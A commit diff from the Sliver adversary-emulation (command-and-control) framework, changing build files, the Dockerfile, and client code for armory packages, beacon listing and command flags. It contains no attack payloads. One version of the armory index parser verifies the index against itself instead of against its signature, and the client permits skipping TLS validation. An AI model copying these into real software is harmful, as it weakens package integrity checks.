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Author SHA1 Message Date
moloch-- 8471a8692f use default handler, clear stage bytes on job stop 2022-02-07 22:02:55 -06:00
1189 changed files with 197282 additions and 925879 deletions

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+4 -4
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@@ -14,10 +14,10 @@ jobs:
timeout-minutes: 45
steps:
- name: Go 1.18
- name: Go 1.17
uses: actions/setup-go@v2
with:
go-version: '^1.18'
go-version: '^1.17'
- name: OS Packages
run: |
@@ -65,10 +65,10 @@ jobs:
timeout-minutes: 45
steps:
- name: Go 1.18
- name: Go 1.17
uses: actions/setup-go@v2
with:
go-version: '^1.18'
go-version: '^1.17'
- name: Mingw
run: brew install mingw-w64
+2 -2
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@@ -17,10 +17,10 @@ jobs:
steps:
# Setup go environment
- name: Go 1.18
- name: Go 1.17
uses: actions/setup-go@v2
with:
go-version: "^1.18"
go-version: "^1.17"
- name: Checkout repository
uses: actions/checkout@v2
+6 -11
View File
@@ -6,24 +6,19 @@ on:
pull_request:
branches:
- master
types:
- opened
- reopened
- synchronize
- ready_for_review
jobs:
linux-windows-build:
name: Linux & Windows Build
runs-on: ubuntu-latest
timeout-minutes: 90
timeout-minutes: 45
steps:
- name: Go 1.18
- name: Go 1.17
uses: actions/setup-go@v2
with:
go-version: '^1.18'
go-version: '^1.17'
- name: OS Packages
run: |
@@ -52,13 +47,13 @@ jobs:
macos-build:
name: MacOS Build
runs-on: macos-latest
timeout-minutes: 90
timeout-minutes: 45
steps:
- name: Go 1.18
- name: Go 1.17
uses: actions/setup-go@v2
with:
go-version: '^1.18'
go-version: '^1.17'
- name: Mingw
run: brew install mingw-w64
+16 -16
View File
@@ -1,4 +1,4 @@
FROM golang:1.18.3
FROM golang:1.17.6
#
# IMPORTANT: This Dockerfile is used for testing, I do not recommend deploying
@@ -6,22 +6,22 @@ FROM golang:1.18.3
# a Docker deployment this is probably a good place to start.
#
ENV PROTOC_VER 3.19.4
ENV PROTOC_GEN_GO_VER v1.27.1
ENV GRPC_GO v1.2.0
ENV PROTOC_VER 3.17.1
ENV PROTOC_GEN_GO_VER v1.26.0
ENV GRPC_GO v1.1.0
# Base packages
RUN apt-get update --fix-missing && apt-get -y install \
git build-essential zlib1g zlib1g-dev \
libxml2 libxml2-dev libxslt-dev locate curl \
libreadline6-dev libcurl4-openssl-dev git-core \
libssl-dev libyaml-dev openssl autoconf libtool \
ncurses-dev bison curl wget xsel postgresql \
postgresql-contrib postgresql-client libpq-dev \
libapr1 libaprutil1 libsvn1 \
libpcap-dev libsqlite3-dev libgmp3-dev \
zip unzip mingw-w64 binutils-mingw-w64 g++-mingw-w64 \
nasm gcc-multilib
git build-essential zlib1g zlib1g-dev \
libxml2 libxml2-dev libxslt-dev locate curl \
libreadline6-dev libcurl4-openssl-dev git-core \
libssl-dev libyaml-dev openssl autoconf libtool \
ncurses-dev bison curl wget xsel postgresql \
postgresql-contrib postgresql-client libpq-dev \
libapr1 libaprutil1 libsvn1 \
libpcap-dev libsqlite3-dev libgmp3-dev \
zip unzip mingw-w64 binutils-mingw-w64 g++-mingw-w64 \
nasm gcc-multilib
#
# > User
@@ -33,8 +33,8 @@ RUN mkdir -p /home/sliver/ && chown -R sliver:sliver /home/sliver
# > Metasploit
#
RUN curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall \
&& chmod 755 msfinstall \
&& ./msfinstall
&& chmod 755 msfinstall \
&& ./msfinstall
RUN mkdir -p ~/.msf4/ && touch ~/.msf4/initial_setup_complete \
&& su -l sliver -c 'mkdir -p ~/.msf4/ && touch ~/.msf4/initial_setup_complete'
+8 -17
View File
@@ -23,16 +23,16 @@ GO_VERSION = $(shell $(GO) version)
GO_MAJOR_VERSION = $(shell $(GO) version | cut -c 14- | cut -d' ' -f1 | cut -d'.' -f1)
GO_MINOR_VERSION = $(shell $(GO) version | cut -c 14- | cut -d' ' -f1 | cut -d'.' -f2)
MIN_SUPPORTED_GO_MAJOR_VERSION = 1
MIN_SUPPORTED_GO_MINOR_VERSION = 18
MIN_SUPPORTED_GO_MINOR_VERSION = 17
GO_VERSION_VALIDATION_ERR_MSG = Golang version is not supported, please update to at least $(MIN_SUPPORTED_GO_MAJOR_VERSION).$(MIN_SUPPORTED_GO_MINOR_VERSION)
VERSION ?= $(shell git describe --abbrev=0)
COMPILED_AT = $(shell date +%s)
RELEASES_URL ?= https://api.github.com/repos/BishopFox/sliver/releases
ARMORY_PUB_KEY ?= RWSBpxpRWDrD7Fe+VvRE3c2VEDC2NK80rlNCj+BX0gz44Xw07r6KQD9L
ARMORY_REPO_URL ?= https://api.github.com/repos/sliverarmory/armory/releases
VERSION_PKG = github.com/bishopfox/sliver/client/version
RELEASES_URL = https://api.github.com/repos/BishopFox/sliver/releases
CLIENT_ASSETS_PKG = github.com/bishopfox/sliver/client/assets
ARMORY_PUB_KEY = RWSBpxpRWDrD7Fe+VvRE3c2VEDC2NK80rlNCj+BX0gz44Xw07r6KQD9L
ARMORY_REPO_URL = https://api.github.com/repos/sliverarmory/armory/releases
VERSION_PKG = github.com/bishopfox/sliver/client/version
GIT_DIRTY = $(shell git diff --quiet|| echo 'Dirty')
GIT_COMMIT = $(shell git rev-parse HEAD)
@@ -77,12 +77,8 @@ ifeq ($(UNAME_S),Darwin)
SED_INPLACE := sed -i ''
STATIC_TARGET := macos
endif
# If no target is specified, determine GOARCH
ifeq ($(UNAME_P),arm)
ifeq ($(MAKECMDGOALS), )
ENV += GOARCH=arm64
endif
ENV += GOARCH=arm64
endif
ifeq ($(MAKECMDGOALS), linux)
@@ -119,13 +115,8 @@ macos-arm64: clean validate-go-version
.PHONY: linux
linux: clean validate-go-version
GOOS=linux GOARCH=amd64 $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server$(ARTIFACT_SUFFIX) ./server
GOOS=linux GOARCH=amd64 $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client$(ARTIFACT_SUFFIX) ./client
.PHONY: linux-arm64
linux-arm64: clean validate-go-version
GOOS=linux GOARCH=arm64 $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server$(ARTIFACT_SUFFIX) ./server
GOOS=linux GOARCH=arm64 $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client$(ARTIFACT_SUFFIX) ./client
GOOS=linux $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server$(ARTIFACT_SUFFIX) ./server
GOOS=linux $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client$(ARTIFACT_SUFFIX) ./client
.PHONY: windows
windows: clean validate-go-version
+1 -5
View File
@@ -1,7 +1,7 @@
Sliver
======
Sliver is an open source cross-platform adversary emulation/red team framework, it can be used by organizations of all sizes to perform security testing. Sliver's implants support C2 over Mutual TLS (mTLS), WireGuard, HTTP(S), and DNS and are dynamically compiled with per-binary asymmetric encryption keys.
Sliver is an open source cross-platform adversary emulation/red team framework, it can be used by organizations of all sizes to perform security testing. Sliver's implants support C2 over Mutual TLS (mTLS), WireGuard, HTTP(S), and DNS and are dynamically compiled with per-binary encryption keys.
The server and client support MacOS, Windows, and Linux. Implants are supported on MacOS, Windows, and Linux (and possibly every Golang compiler target but we've not tested them all).
@@ -40,10 +40,6 @@ Please checkout the [wiki](https://github.com/BishopFox/sliver/wiki), or start a
See the [wiki](https://github.com/BishopFox/sliver/wiki/Compile-From-Source).
### Feedback
Please take a moment and fill out [our survey](https://forms.gle/SwVsHFNh24ChG58C6)
### License - GPLv3
Sliver is licensed under [GPLv3](https://www.gnu.org/licenses/gpl-3.0.en.html), some sub-components may have separate licenses. See their respective subdirectories in this project for details.
+3 -27
View File
@@ -21,9 +21,7 @@ package assets
import (
"encoding/json"
"io/ioutil"
"log"
"os"
"os/exec"
"path/filepath"
)
@@ -32,10 +30,8 @@ const (
)
var (
// DefaultArmoryPublicKey - The default public key for the armory
DefaultArmoryPublicKey string
// DefaultArmoryRepoURL - The default repo url for the armory
DefaultArmoryRepoURL string
DefaultArmoryRepoURL string
defaultArmoryConfig = &ArmoryConfig{
PublicKey: DefaultArmoryPublicKey,
@@ -43,12 +39,9 @@ var (
}
)
// ArmoryConfig - The armory config file
type ArmoryConfig struct {
PublicKey string `json:"public_key"`
RepoURL string `json:"repo_url"`
Authorization string `json:"authorization"`
AuthorizationCmd string `json:"authorization_cmd"`
PublicKey string `json:"public_key"`
RepoURL string `json:"repo_url"`
}
// GetArmoriesConfig - The parsed armory config file
@@ -66,22 +59,5 @@ func GetArmoriesConfig() []*ArmoryConfig {
if err != nil {
return []*ArmoryConfig{defaultArmoryConfig}
}
for _, armoryConfig := range armoryConfigs {
if armoryConfig.AuthorizationCmd != "" {
armoryConfig.Authorization = executeAuthorizationCmd(armoryConfig)
}
}
return append(armoryConfigs, defaultArmoryConfig)
}
func executeAuthorizationCmd(armoryConfig *ArmoryConfig) string {
if armoryConfig.AuthorizationCmd == "" {
return ""
}
out, err := exec.Command(armoryConfig.AuthorizationCmd).CombinedOutput()
if err != nil {
log.Printf("Failed to execute authorization_cmd '%s': %v", armoryConfig.AuthorizationCmd, err)
return ""
}
return string(out)
}
+3 -4
View File
@@ -158,13 +158,12 @@ func LoadAlias(manifestPath string, con *console.SliverConsoleClient) (*AliasMan
}
helpMsg := fmt.Sprintf("[%s] %s", aliasManifest.Name, aliasManifest.Help)
longHelpMsg := help.FormatHelpTmpl(aliasManifest.LongHelp)
longHelpMsg += "\n\n⚠️ If you're having issues passing arguments to the alias please read:\n"
longHelpMsg += "https://github.com/BishopFox/sliver/wiki/Aliases-&-Extensions#aliases-command-parsing"
helpMsg += "\n\n⚠️ If you're having issues passing arguments to the alias please read:\n"
helpMsg += "https://github.com/BishopFox/sliver/wiki/Aliases-&-Extensions#aliases-command-parsing"
addAliasCmd := &grumble.Command{
Name: aliasManifest.CommandName,
Help: helpMsg,
LongHelp: longHelpMsg,
LongHelp: help.FormatHelpTmpl(aliasManifest.LongHelp),
Run: func(extCtx *grumble.Context) error {
con.Println()
runAliasCommand(extCtx, con)
+21 -52
View File
@@ -38,15 +38,12 @@ import (
"golang.org/x/term"
)
// ArmoryIndex - Index JSON containing alias/extension/bundle information
type ArmoryIndex struct {
ArmoryConfig *assets.ArmoryConfig `json:"-"`
Aliases []*ArmoryPackage `json:"aliases"`
Extensions []*ArmoryPackage `json:"extensions"`
Bundles []*ArmoryBundle `json:"bundles"`
Aliases []*ArmoryPackage `json:"aliases"`
Extensions []*ArmoryPackage `json:"extensions"`
Bundles []*ArmoryBundle `json:"bundles"`
}
// ArmoryPackage - JSON metadata for alias or extension
type ArmoryPackage struct {
Name string `json:"name"`
CommandName string `json:"command_name"`
@@ -56,15 +53,12 @@ type ArmoryPackage struct {
IsAlias bool `json:"-"`
}
// AmoryBundle - A list of packages
type ArmoryBundle struct {
Name string `json:"name"`
Packages []string `json:"packages"`
}
// ArmoryHTTPConfig - Configuration for armory HTTP client
type ArmoryHTTPConfig struct {
ArmoryConfig *assets.ArmoryConfig
IgnoreCache bool
ProxyURL *url.URL
Timeout time.Duration
@@ -72,22 +66,20 @@ type ArmoryHTTPConfig struct {
}
type indexCacheEntry struct {
ArmoryConfig *assets.ArmoryConfig
RepoURL string
Fetched time.Time
Index ArmoryIndex
LastErr error
RepoURL string
Fetched time.Time
Index ArmoryIndex
LastErr error
}
type pkgCacheEntry struct {
ArmoryConfig *assets.ArmoryConfig
RepoURL string
Fetched time.Time
Pkg ArmoryPackage
Sig minisign.Signature
Alias *alias.AliasManifest
Extension *extensions.ExtensionManifest
LastErr error
RepoURL string
Fetched time.Time
Pkg ArmoryPackage
Sig minisign.Signature
Alias *alias.AliasManifest
Extension *extensions.ExtensionManifest
LastErr error
}
var (
@@ -323,26 +315,9 @@ func PrintArmoryBundles(bundles []*ArmoryBundle, con *console.SliverConsoleClien
{Name: "Name", Mode: table.Asc},
})
for _, bundle := range bundles {
if len(bundle.Packages) < 1 {
continue
}
packages := bundle.Packages[0]
if 1 < len(packages) {
packages += ", "
}
for index, pkgName := range bundle.Packages[1:] {
if index%5 == 4 {
packages += pkgName + "\n"
} else {
packages += pkgName
if index != len(bundle.Packages)-2 {
packages += ", "
}
}
}
tw.AppendRow(table.Row{
bundle.Name,
packages,
strings.Join(bundle.Packages, ", "),
})
}
con.Printf("%s\n", tw.Render())
@@ -403,10 +378,7 @@ func fetchIndex(armoryConfig *assets.ArmoryConfig, clientConfig ArmoryHTTPConfig
}
}
armoryResult := &indexCacheEntry{
ArmoryConfig: armoryConfig,
RepoURL: armoryConfig.RepoURL,
}
armoryResult := &indexCacheEntry{RepoURL: armoryConfig.RepoURL}
defer func() {
armoryResult.Fetched = time.Now()
indexCache.Store(armoryConfig.PublicKey, *armoryResult)
@@ -442,18 +414,18 @@ func fetchPackageSignatures(indexes []ArmoryIndex, clientConfig ArmoryHTTPConfig
for _, armoryPkg := range index.Extensions {
wg.Add(1)
armoryPkg.IsAlias = false
go fetchPackageSignature(wg, index.ArmoryConfig, armoryPkg, clientConfig)
go fetchPackageSignature(wg, armoryPkg, clientConfig)
}
for _, armoryPkg := range index.Aliases {
wg.Add(1)
armoryPkg.IsAlias = true
go fetchPackageSignature(wg, index.ArmoryConfig, armoryPkg, clientConfig)
go fetchPackageSignature(wg, armoryPkg, clientConfig)
}
}
wg.Wait()
}
func fetchPackageSignature(wg *sync.WaitGroup, armoryConfig *assets.ArmoryConfig, armoryPkg *ArmoryPackage, clientConfig ArmoryHTTPConfig) {
func fetchPackageSignature(wg *sync.WaitGroup, armoryPkg *ArmoryPackage, clientConfig ArmoryHTTPConfig) {
defer wg.Done()
cacheEntry, ok := pkgCache.Load(armoryPkg.CommandName)
if ok {
@@ -463,10 +435,7 @@ func fetchPackageSignature(wg *sync.WaitGroup, armoryConfig *assets.ArmoryConfig
}
}
pkgCacheEntry := &pkgCacheEntry{
ArmoryConfig: armoryConfig,
RepoURL: armoryPkg.RepoURL,
}
pkgCacheEntry := &pkgCacheEntry{RepoURL: armoryPkg.RepoURL}
defer func() {
pkgCacheEntry.Fetched = time.Now()
pkgCache.Store(armoryPkg.CommandName, *pkgCacheEntry)
@@ -486,7 +455,7 @@ func fetchPackageSignature(wg *sync.WaitGroup, armoryConfig *assets.ArmoryConfig
if pkgParser, ok := pkgParsers[repoURL.Hostname()]; ok {
sig, _, err = pkgParser(armoryPkg, true, clientConfig)
} else {
sig, _, err = DefaultArmoryPkgParser(armoryConfig, armoryPkg, true, clientConfig)
sig, _, err = DefaultArmoryPkgParser(armoryPkg, true, clientConfig)
}
if err != nil {
pkgCacheEntry.LastErr = fmt.Errorf("failed to parse pkg manifest: %s", err)
+6 -31
View File
@@ -20,13 +20,11 @@ package armory
import (
"errors"
"fmt"
"io/ioutil"
"net/url"
"os"
"path/filepath"
"github.com/AlecAivazis/survey/v2"
"github.com/bishopfox/sliver/client/command/alias"
"github.com/bishopfox/sliver/client/command/extensions"
"github.com/bishopfox/sliver/client/console"
@@ -35,7 +33,6 @@ import (
)
var (
// ErrPackageNotFound - The package was not found
ErrPackageNotFound = errors.New("package not found")
)
@@ -48,19 +45,6 @@ func ArmoryInstallCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
}
clientConfig := parseArmoryHTTPConfig(ctx)
refresh(clientConfig)
if name == "all" {
aliases, extensions := packagesInCache()
confirm := false
prompt := &survey.Confirm{
Message: fmt.Sprintf("Install %d aliases and %d extensions?",
len(aliases), len(extensions),
),
}
survey.AskOne(prompt, &confirm)
if !confirm {
return
}
}
err := installPackageByName(name, clientConfig, con)
if err == nil {
return
@@ -89,26 +73,17 @@ func installBundle(bundle *ArmoryBundle, clientConfig ArmoryHTTPConfig, con *con
func installPackageByName(name string, clientConfig ArmoryHTTPConfig, con *console.SliverConsoleClient) error {
aliases, extensions := packagesInCache()
for _, alias := range aliases {
if alias.CommandName == name || name == "all" {
if alias.CommandName == name {
installAlias(alias, clientConfig, con)
if name != "all" {
return nil
}
return nil
}
}
for _, ext := range extensions {
if ext.CommandName == name || name == "all" {
if ext.CommandName == name {
installExtension(ext, clientConfig, con)
if name != "all" {
return nil
}
return nil
}
}
if name == "all" {
con.Printf("\n")
con.PrintInfof("All packages installed\n")
return nil
}
return ErrPackageNotFound
}
@@ -145,7 +120,7 @@ func installAliasPackageByName(name string, clientConfig ArmoryHTTPConfig, con *
if pkgParser, ok := pkgParsers[repoURL.Hostname()]; ok {
sig, tarGz, err = pkgParser(&entry.Pkg, false, clientConfig)
} else {
sig, tarGz, err = DefaultArmoryPkgParser(entry.ArmoryConfig, &entry.Pkg, false, clientConfig)
sig, tarGz, err = DefaultArmoryPkgParser(&entry.Pkg, false, clientConfig)
}
if err != nil {
return err
@@ -263,7 +238,7 @@ func installExtensionPackageByName(name string, clientConfig ArmoryHTTPConfig, c
if pkgParser, ok := pkgParsers[repoURL.Hostname()]; ok {
sig, tarGz, err = pkgParser(&entry.Pkg, false, clientConfig)
} else {
sig, tarGz, err = DefaultArmoryPkgParser(entry.ArmoryConfig, &entry.Pkg, false, clientConfig)
sig, tarGz, err = DefaultArmoryPkgParser(&entry.Pkg, false, clientConfig)
}
if err != nil {
return err
+16 -49
View File
@@ -30,7 +30,6 @@ import (
"net/url"
"path"
"strings"
"time"
"github.com/bishopfox/sliver/client/assets"
"github.com/bishopfox/sliver/server/cryptography/minisign"
@@ -58,13 +57,13 @@ const (
)
type armoryIndexResponse struct {
Minisig string `json:"minisig"` // Minisig (Base64)
ArmoryIndex string `json:"armory_index"` // Index JSON (Base64)
Minisig string `json:"minisig"` // Minisig
ArmoryIndex string `json:"armory_index"` // Base64 String
}
type armoryPkgResponse struct {
Minisig string `json:"minisig"` // Minisig (Base64)
TarGzURL string `json:"tar_gz_url"` // Raw tar.gz url
Minisig string `json:"minisig"` // Minisig
TarGzURL string `json:"tar_gz_url"`
}
//
@@ -80,19 +79,7 @@ func DefaultArmoryIndexParser(armoryConfig *assets.ArmoryConfig, clientConfig Ar
}
client := httpClient(clientConfig)
repoURL, err := url.Parse(armoryConfig.RepoURL)
if err != nil {
return nil, err
}
req := &http.Request{
Method: http.MethodGet,
URL: repoURL,
Header: map[string][]string{},
}
if armoryConfig.Authorization != "" {
req.Header.Set("Authorization", armoryConfig.Authorization)
}
resp, err := client.Do(req)
resp, err := client.Get(armoryConfig.RepoURL)
if err != nil {
return nil, err
}
@@ -104,28 +91,20 @@ func DefaultArmoryIndexParser(armoryConfig *assets.ArmoryConfig, clientConfig Ar
if resp.StatusCode != http.StatusOK {
return nil, errors.New("api returned non-200 status code")
}
indexResp := &armoryIndexResponse{}
err = json.Unmarshal(body, indexResp)
if err != nil {
return nil, err
}
armoryIndexData, err := base64.StdEncoding.DecodeString(indexResp.ArmoryIndex)
if err != nil {
return nil, err
}
armoryIndexSigData, err := base64.StdEncoding.DecodeString(indexResp.Minisig)
index := &armoryIndexResponse{}
err = json.Unmarshal(body, index)
if err != nil {
return nil, err
}
// Verify index is signed by trusted key
valid := minisign.Verify(publicKey, armoryIndexData, armoryIndexSigData)
valid := minisign.Verify(publicKey, []byte(index.ArmoryIndex), []byte(index.ArmoryIndex))
if !valid {
return nil, errors.New("index has invalid signature")
return nil, errors.New("invalid signature")
}
armoryIndex := &ArmoryIndex{ArmoryConfig: armoryConfig}
armoryIndex := &ArmoryIndex{}
armoryIndexData, err := base64.StdEncoding.DecodeString(index.ArmoryIndex)
if err != nil {
return nil, err
}
@@ -137,7 +116,7 @@ func DefaultArmoryIndexParser(armoryConfig *assets.ArmoryConfig, clientConfig Ar
}
// DefaultArmoryPkgParser - Parse the armory package manifest directly from the url
func DefaultArmoryPkgParser(armoryConfig *assets.ArmoryConfig, armoryPkg *ArmoryPackage, sigOnly bool, clientConfig ArmoryHTTPConfig) (*minisign.Signature, []byte, error) {
func DefaultArmoryPkgParser(armoryPkg *ArmoryPackage, sigOnly bool, clientConfig ArmoryHTTPConfig) (*minisign.Signature, []byte, error) {
var publicKey minisign.PublicKey
err := publicKey.UnmarshalText([]byte(armoryPkg.PublicKey))
if err != nil {
@@ -145,19 +124,7 @@ func DefaultArmoryPkgParser(armoryConfig *assets.ArmoryConfig, armoryPkg *Armory
}
client := httpClient(clientConfig)
repoURL, err := url.Parse(armoryConfig.RepoURL)
if err != nil {
return nil, nil, err
}
req := &http.Request{
Method: http.MethodGet,
URL: repoURL,
Header: map[string][]string{},
}
if armoryConfig.Authorization != "" {
req.Header.Set("Authorization", armoryConfig.Authorization)
}
resp, err := client.Do(req)
resp, err := client.Get(armoryPkg.RepoURL)
if err != nil {
return nil, nil, err
}
@@ -449,7 +416,6 @@ func githubLatestTagParser(armoryPkg *ArmoryPackage, clientConfig ArmoryHTTPConf
if err != nil {
return "", fmt.Errorf("http get failed armory pkg url '%s': %s", armoryPkg.RepoURL, err)
}
defer latestRedirect.Body.Close()
if latestRedirect.StatusCode != http.StatusFound {
return "", fmt.Errorf("unexpected response status (wanted 302) '%s': %s", armoryPkg.RepoURL, latestRedirect.Status)
}
@@ -489,8 +455,9 @@ func httpClient(config ArmoryHTTPConfig) *http.Client {
Dial: (&net.Dialer{
Timeout: config.Timeout,
}).Dial,
IdleConnTimeout: time.Millisecond,
Proxy: http.ProxyURL(config.ProxyURL),
Proxy: http.ProxyURL(config.ProxyURL),
TLSHandshakeTimeout: config.Timeout,
TLSClientConfig: &tls.Config{
InsecureSkipVerify: config.DisableTLSValidation,
+19 -79
View File
@@ -21,7 +21,6 @@ package beacons
import (
"context"
"fmt"
"regexp"
"strings"
"time"
@@ -47,7 +46,7 @@ func BeaconsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
con.PrintErrorf("%s\n", err)
return
}
err = kill.KillBeacon(beacon, ctx, con)
err = kill.KillBeacon(beacon, false, con)
if err != nil {
con.PrintErrorf("%s\n", err)
return
@@ -63,7 +62,7 @@ func BeaconsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
return
}
for _, beacon := range beacons.Beacons {
err = kill.KillBeacon(beacon, ctx, con)
err = kill.KillBeacon(beacon, true, con)
if err != nil {
con.PrintErrorf("%s\n", err)
return
@@ -72,36 +71,27 @@ func BeaconsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
con.PrintInfof("Killed %s (%s)\n", beacon.Name, beacon.ID)
}
}
filter := ctx.Flags.String("filter")
var filterRegex *regexp.Regexp
if ctx.Flags.String("filter-re") != "" {
var err error
filterRegex, err = regexp.Compile(ctx.Flags.String("filter-re"))
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
}
beacons, err := con.Rpc.GetBeacons(context.Background(), &commonpb.Empty{})
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
PrintBeacons(beacons.Beacons, filter, filterRegex, con)
PrintBeacons(beacons.Beacons, con)
}
// PrintBeacons - Display a list of beacons
func PrintBeacons(beacons []*clientpb.Beacon, filter string, filterRegex *regexp.Regexp, con *console.SliverConsoleClient) {
func PrintBeacons(beacons []*clientpb.Beacon, con *console.SliverConsoleClient) {
if len(beacons) == 0 {
con.PrintInfof("No beacons 🙁\n")
return
}
tw := renderBeacons(beacons, filter, filterRegex, con)
tw := renderBeacons(beacons, con)
con.Printf("%s\n", tw.Render())
}
func renderBeacons(beacons []*clientpb.Beacon, filter string, filterRegex *regexp.Regexp, con *console.SliverConsoleClient) table.Writer {
func renderBeacons(beacons []*clientpb.Beacon, con *console.SliverConsoleClient) table.Writer {
width, _, err := term.GetSize(0)
if err != nil {
width = 999
@@ -142,87 +132,37 @@ func renderBeacons(beacons []*clientpb.Beacon, filter string, filterRegex *regex
}
nextCheckin := time.Unix(beacon.NextCheckin, 0)
nextCheckinDateTime := nextCheckin.Format(time.UnixDate)
var next string
var interval string
if time.Unix(beacon.NextCheckin, 0).Before(time.Now()) {
if con.Settings.SmallTermWidth < width {
interval = fmt.Sprintf("%s (%s ago)", nextCheckinDateTime, time.Since(nextCheckin).Round(time.Second))
} else {
interval = time.Since(nextCheckin).Round(time.Second).String()
}
next = fmt.Sprintf("%s%s%s", console.Bold+console.Red, interval, console.Normal)
past := time.Since(nextCheckin)
next = fmt.Sprintf("%s-%s%s", console.Bold+console.Red, past, console.Normal)
} else {
if con.Settings.SmallTermWidth < width {
interval = fmt.Sprintf("%s (in %s)", nextCheckinDateTime, time.Until(nextCheckin).Round(time.Second))
} else {
interval = time.Until(nextCheckin).Round(time.Second).String()
}
next = fmt.Sprintf("%s%s%s", console.Bold+console.Green, interval, console.Normal)
eta := time.Until(nextCheckin)
next = fmt.Sprintf("%s%s%s", console.Bold+console.Green, eta, console.Normal)
}
// We need a slice of strings so we can apply filters
var rowEntries []string
/*
Round the duration to the nearest second to be more output friendly.
We deal in seconds for everything, so it makes sense to show outputs
in seconds to remain consistent.
*/
timeSinceLastCheckin := time.Since(time.Unix(beacon.LastCheckin, 0)).Round(time.Second)
lastCheckinDateTime := time.Unix(beacon.LastCheckin, 0).Format(time.UnixDate)
if con.Settings.SmallTermWidth < width {
rowEntries = []string{
tw.AppendRow(table.Row{
fmt.Sprintf(color+"%s"+console.Normal, strings.Split(beacon.ID, "-")[0]),
fmt.Sprintf(color+"%s"+console.Normal, beacon.Name),
fmt.Sprintf(color+"%d/%d"+console.Normal, beacon.TasksCountCompleted, beacon.TasksCount),
fmt.Sprintf(color+"%s"+console.Normal, beacon.Transport),
fmt.Sprintf(color+"%s"+console.Normal, beacon.RemoteAddress),
fmt.Sprintf(color+"%s"+console.Normal, beacon.Hostname),
fmt.Sprintf(color+"%s"+console.Normal, strings.TrimPrefix(beacon.Username, beacon.Hostname+"\\")),
fmt.Sprintf(color+"%s"+console.Normal, beacon.Username),
fmt.Sprintf(color+"%s/%s"+console.Normal, beacon.OS, beacon.Arch),
fmt.Sprintf(color+"%s (%s ago)"+console.Normal, lastCheckinDateTime, timeSinceLastCheckin),
fmt.Sprintf(color+"%s ago"+console.Normal, time.Since(time.Unix(beacon.LastCheckin, 0))),
next,
}
})
} else {
rowEntries = []string{
tw.AppendRow(table.Row{
fmt.Sprintf(color+"%s"+console.Normal, strings.Split(beacon.ID, "-")[0]),
fmt.Sprintf(color+"%s"+console.Normal, beacon.Name),
fmt.Sprintf(color+"%s"+console.Normal, beacon.Transport),
fmt.Sprintf(color+"%s"+console.Normal, strings.TrimPrefix(beacon.Username, beacon.Hostname+"\\")),
fmt.Sprintf(color+"%s"+console.Normal, beacon.Username),
fmt.Sprintf(color+"%s/%s"+console.Normal, beacon.OS, beacon.Arch),
fmt.Sprintf(color+"%s ago"+console.Normal, timeSinceLastCheckin),
fmt.Sprintf(color+"%s ago"+console.Normal, time.Since(time.Unix(beacon.LastCheckin, 0))),
next,
}
}
// Build the row struct
row := table.Row{}
for _, entry := range rowEntries {
row = append(row, entry)
}
// Apply filters if any
if filter == "" && filterRegex == nil {
tw.AppendRow(row)
} else {
for _, rowEntry := range rowEntries {
if filter != "" {
if strings.Contains(rowEntry, filter) {
tw.AppendRow(row)
break
}
}
if filterRegex != nil {
if filterRegex.MatchString(rowEntry) {
tw.AppendRow(row)
break
}
}
}
})
}
}
return tw
+1 -1
View File
@@ -45,7 +45,7 @@ func BeaconsWatchCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
if err != nil {
panic(err) // If we return we may leak the waiting goroutine, so we panic instead
}
tw := renderBeacons(beacons.Beacons, "", nil, con)
tw := renderBeacons(beacons.Beacons, con)
lines := strings.Split(tw.Render(), "\n")
for _, line := range lines {
con.Printf(console.Clearln+"\r%s\n", line)
+25 -105
View File
@@ -63,7 +63,6 @@ import (
"github.com/bishopfox/sliver/client/command/privilege"
"github.com/bishopfox/sliver/client/command/processes"
"github.com/bishopfox/sliver/client/command/reaction"
"github.com/bishopfox/sliver/client/command/reconfig"
"github.com/bishopfox/sliver/client/command/registry"
"github.com/bishopfox/sliver/client/command/screenshot"
"github.com/bishopfox/sliver/client/command/sessions"
@@ -399,7 +398,6 @@ func BindCommands(con *console.SliverConsoleClient) {
f.Bool("c", "no-canaries", false, "disable dns canary detection")
f.String("L", "lhost", "", "interface to bind server to")
f.Int("l", "lport", generate.DefaultDNSLPort, "udp listen port")
f.Bool("D", "disable-otp", false, "disable otp authentication")
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
f.Bool("p", "persistent", false, "make persistent across restarts")
@@ -477,8 +475,6 @@ func BindCommands(con *console.SliverConsoleClient) {
f.String("c", "cert", "", "path to PEM encoded certificate file (HTTPS only)")
f.String("k", "key", "", "path to PEM encoded private key file (HTTPS only)")
f.Bool("e", "lets-encrypt", false, "attempt to provision a let's encrypt certificate (HTTPS only)")
f.StringL("aes-encrypt-key", "", "encrypt stage with AES encryption key")
f.StringL("aes-encrypt-iv", "", "encrypt stage with AES encyption iv")
},
Run: func(ctx *grumble.Context) error {
con.Println()
@@ -507,47 +503,6 @@ func BindCommands(con *console.SliverConsoleClient) {
HelpGroup: consts.MultiplayerHelpGroup,
})
// [ Reconfig ] ---------------------------------------------------------------
con.App.AddCommand(&grumble.Command{
Name: consts.ReconfigStr,
Help: "Reconfigure the active beacon/session",
LongHelp: help.GetHelpFor([]string{consts.ReconfigStr}),
Flags: func(f *grumble.Flags) {
f.String("n", "name", "", "change implant name to")
f.String("r", "reconnect-interval", "", "reconnect interval for implant")
f.String("i", "beacon-interval", "", "beacon callback interval")
f.String("j", "beacon-jitter", "", "beacon callback jitter (random up to)")
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
Run: func(ctx *grumble.Context) error {
con.Println()
reconfig.ReconfigCmd(ctx, con)
con.Println()
return nil
},
HelpGroup: consts.SliverHelpGroup,
})
